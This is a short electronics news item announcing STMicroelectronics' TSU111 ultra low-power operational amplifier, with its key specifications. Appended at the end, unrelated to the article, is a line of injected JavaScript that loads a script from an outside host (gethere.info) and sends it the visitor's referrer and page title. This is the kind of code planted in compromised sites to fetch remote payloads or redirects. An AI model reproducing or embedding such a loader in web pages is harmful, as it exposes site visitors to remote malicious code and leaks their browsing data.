STMicroelectronics introduces ultra low-power operational amplifier TSU111

3 Nov 2016

The TSU111 STMicroelectronics operational amplifier (op amp) offers an ultra low-power consumption of 900 nA typical and 1.2 uA maximum when supplied by 3.3 V. Combined with a supply voltage range of 1.5 V to 5.5 V, these features allow the TSU111 to be efficiently supplied by a coin type Lithium battery or a regulated voltage in low-power applications. The high accuracy of 150 µV max and 11.5 kHz gain bandwidth make the TSU111 ideal for sensor signal conditioning, battery supplied, and portable applications.

 

TSU111Features:

  • Submicro ampere current consumption:  Icc = 900 nA typ at 25 °C
  • Low offset voltage: 150 µV max at 25 °C, 235 µV max over
    full temperature range (-40 to 85 °C)
  • Low noise over 0.1 to 10 Hz bandwidth:  3.6 µVpp
  • Low supply voltage: 1.5 V – 5.5 V
  • Gain bandwidth product: 11.5 kHz typ
  • Low input bias current: 10 pA max at 25 °C
  • High tolerance to ESD: 4 kV HBM

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;